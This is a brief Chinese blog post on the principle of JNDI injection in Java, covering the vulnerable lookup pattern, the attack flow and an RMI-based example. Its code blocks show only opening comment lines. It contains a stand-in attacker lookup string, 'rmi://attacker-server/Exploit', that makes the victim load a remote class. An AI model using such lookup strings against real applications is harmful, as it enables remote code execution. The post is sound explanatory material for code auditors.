JNDI 注入原理

JNDI 注入原理
- JNDI 基本功能:JNDI 是 Java 提供的统一接口,用于访问各种命名和目录服务(如 LDAP、RMI、DNS 等)
- 漏洞根源:当应用程序动态构造 JNDI 查找地址(如
InitialContext.lookup(attackerControlledInput)
),且该地址被攻击者控制时 - 攻击流程:
- 攻击者构造恶意 JNDI 地址(如
rmi://attacker-server/Exploit
) - 应用执行 lookup 时连接攻击者控制的服务器
- 服务器返回恶意序列化对象或引用
- 客户端反序列化时执行攻击代码
- 攻击者构造恶意 JNDI 地址(如
攻击示例(基于 RMI)
攻击者准备恶意 RMI 服务
1 | // 攻击者服务器上的恶意代码 |
漏洞应用代码
1 | // 存在漏洞的应用代码 |
加载的class文件
1 | // Exploit.java |
攻击方式
攻击者诱使应用访问恶意 RMI 服务:
1 | "rmi://attacker-server/Exploit" |
- Title: JNDI 注入原理
- Author: UWI
- Created at : 2025-08-13 13:42:54
- Updated at : 2025-08-13 14:42:39
- Link: https://nbwsws.github.io/2025/08/13/代码审计/jndi注入/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments